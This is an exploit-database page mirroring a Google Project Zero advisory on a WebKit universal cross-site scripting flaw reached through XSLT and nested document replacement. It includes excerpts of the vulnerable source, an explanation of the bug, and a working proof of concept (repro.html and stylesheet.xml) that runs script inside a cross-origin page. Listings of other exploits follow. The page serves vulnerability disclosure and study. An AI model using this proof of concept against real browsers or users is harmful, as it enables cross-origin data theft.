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"WebKit - UXSS via XSLT and Nested Document Replacements"

Author

"Google Security Research"

Platform

multiple

Release date

2019-08-12

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VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
    const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
    Ref<Document> ownerDocument(sourceNode->document());
    bool sourceIsDocument = (sourceNode == &ownerDocument.get());
    String documentSource = sourceString;

    RefPtr<Document> result;
    if (sourceMIMEType == "text/plain") {
        result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
        transformTextStringToXHTMLDocumentString(documentSource);
    } else
        result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

    // Before parsing, we need to save & detach the old document and get the new document
    // in place. We have to do this only if we're rendering the result document.
    if (frame) {
[...]
        frame->setDocument(result.copyRef());
    }

    auto decoder = TextResourceDecoder::create(sourceMIMEType);
    decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
    result->setDecoder(WTFMove(decoder));

    result->setContent(documentSource);
```

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_documentIsBeingReplaced) // ***1***
        return;

    m_documentIsBeingReplaced = true;

[...]

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction(); // ***2***

    m_doc = newDocument.copyRef();
```

`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's "unload" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.

VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',
  'type="text/xml" href="stylesheet.xml"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {
  victim_frame = createFrame(document);
  child_frame_1 = createFrame(victim_frame.contentDocument);
  child_frame_1.contentWindow.onunload = () => {
    victim_frame.src = 'javascript:""';
    try {
      victim_frame.contentDocument.appendChild(document.createElement('html')).
        appendChild(document.createElement('body'));
    } catch { }
    
    child_frame_2 = createFrame(victim_frame.contentDocument);
    child_frame_2.contentWindow.onunload = () => {
      doc = victim_frame.contentDocument;
      doc.write('foo');
      doc.firstChild.remove();

      doc.appendChild(pi);
      doc.appendChild(doc.createElement('root'));

      doc.close();
    }
  }

  victim_frame.src = 'javascript:""';

  if (child_frame_1.xslt_script_run) {
    victim_frame.src = 'http://example.com/';
    victim_frame.onload = () => {
      form = corrupted_doc.createElement('form');
      form.action = 'javascript:alert(document.body.innerHTML)';
      form.submit();
    }
  }
}, 2000);
</script>
</body> 

```

stylesheet.xml:
```
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src="javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
Release Date Title Type Platform Author
2019-08-01 "SilverSHielD 6.x - Local Privilege Escalation" local multiple "Ian Bredemeyer"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-08 "Aptana Jaxer 1.0.3.4547 - Local File inclusion" webapps multiple "Steph Jensen"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "ARMBot Botnet - Arbitrary Code Execution" remote multiple prsecurity
2019-08-01 "Ultimate Loan Manager 2.0 - Cross-Site Scripting" webapps multiple "Metin Yunus Kandemir"
2019-07-31 "Oracle Hyperion Planning 11.1.2.3 - XML External Entity" webapps multiple "Lucas Dinucci"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - JSValue Use-After-Free in ValueProfiles" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS JavaScriptCore - Loop-Invariant Code Motion (LICM) Leaves Object Property Access Unguarded" dos multiple "Google Security Research"
2019-07-30 "macOS / iOS NSKeyedUnarchiver - Use-After-Free of ObjC Objects when Unarchiving OITSUIntDictionary Instances" dos multiple "Google Security Research"
2019-01-12 "ASAN/SUID - Local Privilege Escalation" local multiple bcoles
2019-01-13 "Serv-U FTP Server < 15.1.7 - Local Privilege Escalation (2)" local multiple bcoles
2018-12-30 "Deepin Linux 15 - 'lastore-daemon' Local Privilege Escalation" local multiple bcoles
2019-01-13 "S-nail < 14.8.16 - Local Privilege Escalation" local multiple bcoles
2018-12-30 "VMware Workstation/Player < 12.5.5 - Local Privilege Escalation" local multiple bcoles
2019-07-25 "WebKit - Universal Cross-Site Scripting due to Synchronous Page Loads" dos multiple "Google Security Research"
2019-07-24 "Trend Micro Deep Discovery Inspector IDS - Security Bypass" remote multiple hyp3rlinx
2019-07-12 "Xymon 4.3.25 - useradm Command Execution (Metasploit)" remote multiple Metasploit
2019-07-10 "Mozilla Spidermonkey - Unboxed Objects Uninitialized Memory Access" dos multiple "Google Security Research"
2019-07-09 "Firefox 67.0.4 - Denial of Service" dos multiple "Tejas Ajay Naik"
2019-07-03 "Symantec DLP 15.5 MP1 - Cross-Site Scripting" webapps multiple "Chapman Schleiss"
2019-07-01 "CyberPanel 1.8.4 - Cross-Site Request Forgery" webapps multiple "Bilgi Birikim Sistemleri"
2019-07-01 "Sahi pro 8.x - Directory Traversal" webapps multiple "Alexander Bluestein"
Release Date Title Type Platform Author
2019-08-15 "Microsoft Windows Text Services Framework MSCTF - Multiple Vulnerabilities" local windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Double Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - free() of Uninitialized Pointer due to Malformed JBIG2Globals Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Memory Corruption due to Malformed TTF Font" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow in CoolType.dll" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Static Buffer Overflow due to Malformed Font Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Buffer Overflow While Processing Malformed PDF" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Use-After-Free due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat Reader DC for Windows - Heap-Based Out-of-Bounds read due to Malformed JP2 Stream" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in FixSbitSubTableFormat1" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in WriteTableFromStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadAllocFormat12CharGlyphMapList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in ReadTableIntoStructure" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap Corruption in FixSbitSubTables" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Double Free in MergeFormat12Cmap / MakeFormat12MergedGlyphList" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Heap-Based Out-of-Bounds read in GetGlyphIdx" dos windows "Google Security Research"
2019-08-15 "Microsoft Font Subsetting - DLL Returning a Dangling Pointer via MergeFontPackage" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Call from Uninitialized Memory due to Empty FDArray in Type 1 Fonts" dos windows "Google Security Research"
2019-08-15 "Adobe Acrobat CoolType (AFDKO) - Memory Corruption in the Handling of Type 1 Font load/store Operators" dos windows "Google Security Research"
2019-08-15 "NSKeyedUnarchiver - Info Leak in Decoding SGBigUTF8String" dos multiple "Google Security Research"
2019-08-12 "WebKit - UXSS via XSLT and Nested Document Replacements" dos multiple "Google Security Research"
2019-08-12 "Linux - Use-After-Free Reads in show_numa_stats()" dos linux "Google Security Research"
2019-08-07 "Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability" dos multiple "Google Security Research"
2019-08-05 "macOS iMessage - Heap Overflow when Deserializing" dos macos "Google Security Research"
2019-07-30 "iMessage - NSKeyedUnarchiver Deserialization Allows file Backed NSData Objects" dos multiple "Google Security Research"
2019-07-30 "iMessage - Memory Corruption when Decoding NSKnownKeysDictionary1" dos multiple "Google Security Research"
2019-07-30 "iMessage - NSArray Deserialization can Invoke Subclass that does not Retain References" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47237/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/47237/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/47237/41596/webkit-uxss-via-xslt-and-nested-document-replacements/download/", "exploit_id": "47237", "exploit_description": "\"WebKit - UXSS via XSLT and Nested Document Replacements\"", "exploit_date": "2019-08-12", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                    

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